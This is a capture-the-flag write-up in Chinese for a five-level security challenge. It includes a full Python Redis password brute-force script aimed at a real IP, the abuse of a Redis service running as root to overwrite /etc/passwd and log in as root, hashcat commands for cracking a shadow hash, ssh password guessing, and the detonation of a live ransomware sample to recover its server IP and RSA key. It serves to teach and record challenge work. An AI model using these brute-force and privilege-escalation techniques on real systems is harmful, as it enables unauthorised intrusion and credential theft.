本文作者:jianghuxia(本次信安之路巅峰挑战赛唯一一个坚持到最后通关的小伙伴)
额,大家好,我是菜鸡,这次比赛的writeup
如下,orz
,orz
。
欢迎参加首届信安之路巅峰挑战赛,第一关的入口:
http://wifiseciloveyouxazl.xazlsec.com
获得key之后,通过后台发送key将获得第二关的入口信息,祝你好运!
选择题为主,最后一题例外,为此,还抓了个包,研究了下js
脚本
看下脚本
火狐抓个包,得到key
?这tm
什么原理。
恭喜通关第一关,第二关入口:
http://nizhidaoqianduanyoushama.xazlsec.com
获得key之后,通过后台发送key将获得第三关的入口信息,祝你好运!
我滴个天啊。。。。。弱密码随意登陆。。。。。不好意思,这题我真是非预期解法,具体的预期解法,之前信安之路文章已发,就不仔细讲述啦!
得到第二关答案key:2c4b23c265c3e834f31024533565f2be
恭喜完成第二关,第三关的入口:
http://honglanduikburongyiya.xazlsec.com
获得key之后,通过后台发送key将获得第四关的入口信息,祝你好运!
这题,学到的东西很多,坑点多,但就是好玩。
日常扫端口
没发现啥(这时候也没全tcp
端口扫描),后面出题老哥放出新提示
上网搜搜,嗯 ,6379 Redis
很有可能哦。
尝试一波,发现6379
端口开的是redis
服务,执行命令redis-cli -h 66.42.84.155 -p 6379
,发现可以登录,但是需要密码。
尝试使用hydra
爆破,但是不知为啥,爆破无效(这里上网搜索了下,说是hydra
编译问题),于是尝试使用python
脚本。
importredis
importsys
importgetopt
importdatetime
importtime
'''
author:Qing
try to login the redis database
-h help
-P password file
-a server address
-o port, default 6379
'''
defusage():
print'''Options:
-h help
-P password file
-a server address
-o port, default 6379
'''
port= 6379 # default port
starttime= time.localtime()
print"start time: ", time.strftime("%Y-%m-%d %H:%M:%S", starttime)
opts, args= getopt.getopt(sys.argv[1:], "hP:a:o:")
forop, valueinopts:
ifop== "-P":
input_file= value
elifop== "-a":
host= value
elifop== "-o":
port= value
elifop== "-h":
usage()
sys.exit()
fo= open("hydra_zidian.txt", "r+")
passwd= " "
while1:
host= '66.42.84.155'
port=6379
line= fo.readline()
passwd= line
passwd= passwd[0:(len(passwd) -1)] # filter the /n
printpasswd
rs= redis.Redis(host, port, db=0, password=passwd) # AUTH password
response= 'wrong passwd'
try:
response= rs.ping() # use PING to judge the state of redis
exceptredis.exceptions.ResponseError:
pass
# print response
else:
ifresponse== True:
printresponse
printpasswd
fo.close()
stoptime= time.localtime()
print"stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
exit(0)
ifnotline:
print"no valid passwd"
stoptime= time.localtime()
print"stop time: ", time.strftime("%Y-%m-%d %H:%M:%S", stoptime)
exit(0)
字典选择top100
弱密码就行啦,开始爆破。
爆破成功,密码是:1q2w3e4r
嗯~,爆破是成功了,但是怎么利用redis
漏洞呢,可以看看这篇文章:
http://www.freebuf.com/vuls/148758.html
其中详细指出了一些想法。
自己测试时,发现/root/.ssh/
这个目录不在了,想着利用redis
写入自己私钥,远程ssh
连接上去的幻想也就破灭了。
后面尝试着,网上学习了一波,尝试着读下/etc/
这个目录,喔!竟然存在,嘿嘿,那么是不是可以尝试/etc/passwd
文件实现任意账号密码的重置呢?具体操作请查看上述那个链接,下面是自己的操作:
好的,成功save
后,尝试以root
用户登陆,然后就这样登上去了,root
用户登上去了?^--$--*/,还是有点吃惊的,赶快联系了下出题的大佬,问下就这样?这是预期解法?直接用root
?后面问了下,redis
是用root
身份启动,被菜鸡我刚好撞上了,直接把root
密码重置了。甚至,不小心把/etc/shadow
给搞坏了,抱歉啊,不是故意的。
查看下敏感信息
后面老哥给了我个admin
的用户账号和密码,心虚的我也不好意思的接受了。咳,继续解题。回到root
用户登陆后,用root
权限转了一圈,看了下/tmp/history
,以下为内容
[root@vultr tmp]# cat history
1yum update
2yum list | greprredis
3yum list | grepredis
4yum install redis
5redis-cli
6iptables
7iptables -L
8iptables -L-F
9iptables -F
10redis-cli
11yum install redis-server
12 wgethttp://download.redis.io/releases/redis-3.2.12.tar.gz
13tar xzfv redis-3.2.12.tar.gz
14 cdredis-3.2.12
15 ls
16 make
17 ls
18 cd../
19 rm-rf*
20 wgetwgethttp://download.redis.io/releases/redis-2.8.17.tar.gz
21tar xzfv redis-2.8.17.tar.gz
22yum install gcc
23yum install cc
24yum install g++
25 cdredis-2.8.17
26 make
27 makeinstall
28 cd../
29redis -cli
30redis-cli
31 cdredis-2.8.17/s
32 cdredis-2.8.17/
33 ls
34 cdsrc/
35l
36 ls
37 cd../
38 vimredis.conf
39yum install vim
40 ls
41 vimredis.conf
42 cdsrc/
43./redis-server
44./redis-server &
45 ps-ef
46ifconfig
47 cd
48useradd key P@ssword123
49useradd key
50passwd key
51 cat/etc/shadow
52 ls
53 mkdir.ssh
54key 的明文密码就是下一关通关密语
55 exit
56 ls-la
57 cat.bash_history
58 exit
59quit
60 exit
61 ls
62 cdredis-2.8.17
63 ls
64 cdsec
65 cdsrc
66 vimredis-server
67redis-server
68redis-cli -h127.0.0.1 -p6379shutdown
69netstat -tunlp
70redis-server
71netstat -tunlp
72./redis-server
73redis-cli ../redis.conf &
74netstat -tunlp
75jobs
76redis-server ../redis.conf &
77netstat -tunlp
78 cd/home/
79 ls
80 cdkey/
81 ls
82 ls-al
83 cd..
84 cd
85 cd/root/
86 ls
87passwd key
88 cd/root/.ssh/
89 ls
90 cd..
91 ls
92 ls-al
93 cd.ssh/
94 ls
95 ls-al
96 cd..
97 rm-rf.ssh/
98 cd/home/
99 ls
100 cdkey/.ssh
101 mkdirkey/.ssh/
102 cd/home/
103 ls
104 cdkey/
105 cd.ssh/
106 ls
107 rmauthorized_keys
108 cd
109history
110 cd/home/key/.ssh/
111 ls
112 catauthorized_keys
113 rmauthorized_keys
114 ls
115 rmauthorized_keys
116 cd..
117 cd
118useradd test
119useradd guest
120useradd admin
121useradd redis
122passwd test
123passwd guest
124passwd admin
125 mkdir/home/admin/.ssh/
126 mkdir/home/test/.ssh/
127 mkdir/home/guest/.ssh/
128 ls
129 cd/home/
130 ls-L1
131 ls
132 cdadmin/
133 ls
134 ls-al
135 cd..
136 ls
137 cd.
138 cd
139 wgethttps://cowtransfer.com/s/84d80d0d7b3c45
140 wgethttps://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=%E9%AB%98%E9%A2%91%E5%AD%97%E5%85%B8.zip
141netstat -tunlp
142history > /tmp/history
143 cd/tmp/
144 vimhistory
145 exit
146passwd test
147passwd admin
148passwd gue
149passwd guest
150history > /tmp/history
em~
,我以为我找到答案了,你肯定也看到了P@ssword123
,想多了,因为下面的命令告诉我们,大佬改了密码。
先再看看/etc/shadow
,en~
,密码的hash
值都有,不是说key 的明文密码就是下一关通关密语
吗?那试试爆破key
用户的hash
值咯。结果再爆破这里,巨坑,有两种工具可以爆破,一种john
,一种hashcat
,john
不知啥原因,kali
、ubuntu
下均报错,折腾许久,还是没弄好,就去搞鼓hashcat
。
hashcat
用的是windows
版的,但是死活爆破不出来,这是我使用的是john
的自带字典rockyou.txt
,后面一直换字典,还是爆不出来。厚着脸皮去问出题大佬,大佬给了点提示,仔细看history
文件,看了半天,还是没看出啥来,大佬看不下去了,字典在里面。哦~,于是我懂了。上面的history
文件有这两条记录
打开https://cowtransfer.com/s/84d80d0d7b3c45
,提示了
而140
行的url
经过URLdecode
后是这样的:
https://static.cowtransfer.com/84d80d0d-7b3c-4539-932d-30c3f0869538/高频字典.zip?e=1537629504&token=rkrC3sADAVnBtSQ_YTQgxi-3TEVapbu6rxmtmg0v:IDeOMk2XNjOwrk-mcTr6wnRjM84=&sign=484933f3a024bcab2d8f29c659aa8aa9&t=5ba65d40&attname=高频字典.zip
更是提醒我们要用这个字典去跑key
的hash
值,之前我也有看到这个,还打开过,但是觉得很莫名其妙,听到大佬的提示,突然悟了。是我太菜了,orz
。
于是下载高频字典.zip
,然后开始爆破,破破破,不知道怎么破请看 Hash 破解神器:Hashcat 的简单使用
https://blog.csdn.net/mydriverc2/article/details/41384853
构造以下命令:
hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 字典.txt
简单描述下这条命令的意思:如果hashcat
在字典.txt
中跑出的 hash 值与crack.hash
中所求内容相同,就将字典.txt
找到的对应值写入found.txt
中。
于是找啊找,跑啊跑,发现跑完刚刚下载的所有高频字典.zip
里的文件还是没找到啊,于是自己本地建了个key
用户测试了下,发现可以跑出来啊。感觉出题大佬被我坑了(之前直接的redis
命令写入,把/etc/passwd
写坏了),后面问了下,果然,之前的那条key
的hash
值是跑不出来的。额。。。自作自受啊。出题老哥后面重新给了个sha512
的值
$6$ZkfV4HlR$7hk5IVzAVIq1gGLJo254qMm9LT6YrnUy7iATOTc8das8pOwGPWzKMlWTczMjp5fAyYFQ1SMe/K.FIGBAX/0590
执行命令:hashcat64.exe -m 1800 -a 0 -o found.txt crack.hash 55泄漏门(部分).txt
,秒破
查看found
文件:
第三关最终的KEY
:1314woaini1314
听说后面这题是这样的,觉得难度就应该降低挺多的了
恭喜完成第三关,第四关的入口是:
http://zuohaoyingjixiangyinghennan.xazlsec.com
获得key之后,通过后台发送key将获得第五关的入口信息,祝你好运!
打开网页是这样的(我刚做这题的时候,页面是没有任何消息的,摸索好一阵子)
打开网址https://cowtransfer.com/s/023ab1f54dd04c
,提供了一个压缩包HellWorld.pcapng
进行下载。
wireshark
三板斧试下,很快就会发现其中的http
流存在提示,有个压缩包,里面有私钥和公钥文件。除此之外明确,攻击者内网ip:10.0.3.111
,被攻击ip:173.82.235.146
(攻击者的外网ip
:182.150.21.33
,估计出题老哥这题是在虚拟机抓的,所以会有内外网ip)
而分组10061
和10956
则分析出以下内容:
http://dynupdate.noip.com/settings.php?username=C3A37087469&pass=HMAC{yuyvphyx4snkqvtgt7kiyiamtra=}
<?xmlversion="1.0"?>
<noip_host_listemail="C3A37087469"enhanced="false"webserver="">
<domainname="ddns.net"type="free">
<hostname="cherishao"group=""wildcard="false"/>
</domain>
</noip_host_list>
http://dynupdate.noip.com/ducupdate.php?username=C3A37087469&h[]=cherishao.ddns.net&ip=182.150.21.33&pass=HMAC{qq6tthdbubqfp7d+t0wrgo6pykg=}
其中有个username=C3A37087469
,这个是接下来的线索。另外,值得一提的是passwd.jpg
这个图片,这个http
传输载体tcp
传输时,存在丢包现象,所以单纯的http
流追踪是找不到回应的包,只能通过追踪tcp
流查找重传的数据。
很明显,是个图片,不过是base64
格式,这个需要自行通过html
标签img
使图片显示在网页中,操作一番,如下
好的,我们现在得到了*mGX3Y-d
。再仔细看看题目还有个神秘代码,
UJxgqdNUuH2I5EDDXgXvhFleJiVxeOvZBLXiLJ3lTq+lTRg7eSMR4++CZwe2z7vFh5CqETYeoZ7fAUWT4iCMMuap2iG/OfbKV2JN2SFrpCKCmSfnlxKIF02KTUyI99Ip/06LtNlmAIBtWisi0Ijr67lq+2HKQgxu5KaaNQpzohk=
这个通过之前压缩包中的rsa
私钥文件直接解密,会得到以下内容eK8}vD3=
。
好的做到这里,我有话要讲,那个时候,再看了下题目
再联系上面得到的消息,我用ubuntu
的ssh
服务尝试爆破了207.148.27.120
的22
端口,其中爆破字典我选择了top
前100
的弱密码,并且添加了*mGX3Y-deK8}vD3=
、eK8}vD3=*mGX3Y-d
这两个密码进去,但是爆破没结果。而真相是,过了一天,我用xshell
再次连接时,直接root
用户,再以eK8}vD3=*mGX3Y-d
登进去了,登进去了。(这里之前问了出题老哥,老哥说设置了ssh
验证次数为5
次,猜测是不是这个原因导致ubuntu
的hydra
没有成功爆破)
密码是eK8}vD3=*mGX3Y-d
登录成功后,第一件事就是查看history
,还是发现了一些东西,比如说icmpsh_m.py
,刚开始以为这个是linux
提权的后门,理直气壮去找老哥,老哥说不是这个。好吧继续找。
然后往下翻翻看到了这个
有个很明显的目录/etc/ssh/
,下载了个XAZLER.exe
打开后是这样的
细心的你们一定发现,上面有提示“请按任意键继续”,嗯,但是我没按,直接关掉了(那个时候我只要多按下任意一个键,key
就会出来)。然后我又继续往下探索,发现了存在一个C3A37087469
的用户,咦!
其中有个key.sh
,打开看下
#@Cherishao
echo“Goodjob!!"
:) Congratulations, youhavecomehere.
However, youneedahigherlevelofpermissions!!!
Itissaidthathigherprivilegepasswordsaremorecomplicated(16bit).
到这里,想了好久还是没思路,厚着脸皮去问出题老哥,发了一些解题截图过去,老哥说:“你是不是傻啊,再随便按个键啊”,然后就是下面这个样子(tm
内心一万匹草泥马飞奔)
好吧,得到了key
,下一关的钥匙。
在其中的解题过程中,此题的出题老哥,教了我好些应急响应、溯源等知识,贼喜欢。
这里放个学习链接, 干货 | 黑客入侵?这里有详细的应急排查手册:
https://www.leiphone.com/news/201706/oCidY2C8IPHt82mF.html
解题过程中,老哥为了加快我们的解题速度,还放出了个提示:
后面做完题,感觉这提示没啥用啊。后面问了下
好吧,的确有这样的想法,当时我记得ip
反查都试了一遍。
恭喜完成第四关,第五关是一个病毒分析题,样本下载地址:
https://pan.baidu.com/s/1mngKICMpg4nSekfBp0qpPw 密码:fbox
本题有两个问题:
1:RSA公钥是什么?
2: 黑客服务器的IP地址是什么?
这题啊,大家解压压缩包的时候千万小心,这是个真的病毒,嗯~,还好我放在虚拟机里了,不然,物理机得遭殃。
看到了题目,想了想,有点意思啊,还问黑客服务器的IP地址是什么?
。玩玩呗,虚拟机运行下这个病毒软件,发现文件数据被加密了,还发现了这个
然后我就去下载onion
浏览器了,弄了半天没弄好,去问出题老哥,我觉得那个时候老哥都被我逗笑了。
然后老哥给了提示,抓包,这个其实也想到了,但是想归想到,操作起来发现巨坑,因为病毒传送信息的服务器炸了,导致抓包的时候没有看到http
流,后面仔细看了半天,才找到下图的线索。
是的,黑客服务器的IP地址就是137.74.163.43
,就是这么简单。但是让我头疼的是第一个问题,rsa
的公钥是啥?我滴个天啊,摆明要逆向啊。去问问出题老哥有没其他做法,老哥指点了一条明路:内存提串,后面使用了火绒剑
,这个工具,贼好用。仔细分析了很久,火绒剑监控一下,就能看到这个病毒exe
相应的行为了,在其运行完毕后,最终还会释放一个PE
,而这个PE
是没有任何混淆的,可以清晰使用IDA
查看到其中的RSA
公钥。当然其中需要dump
一下,这里请教了下出题老哥:OD
本身能dump
,PEtoolS
,loadPE
也都能dump。好吧,那就dump
一下,dump
出来后,直接扔到IDA
中,得到RSA
公钥
得到的最后RSA
公钥为
-----BEGINPUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyvXYYjSQqu7nWxB8HH/9SIaTd ZZ5Es9nv2KQnPcUV6F0ZHITClTZvoa7PbtG77q76xBNdvTH8VIXGjn+d58xK8jlE krC/N87iWPpG0jgmeY/ytR/gyArojmDFFnt11WP2koi2sjWzz1UXv8SC/aHHqfHe wgWrhFLmlhxrBxo46wIDAQAB -----ENDPUBLIC KEY-----
黑客服务器ip:137.74.163.43
这里有个尴尬的地方,因为我是先拿到ip
,提交答案后,直接“完成所有挑战”,后面跟出题老哥反映下,再继续去找公钥的答案。
到此结束,大佬们,再见。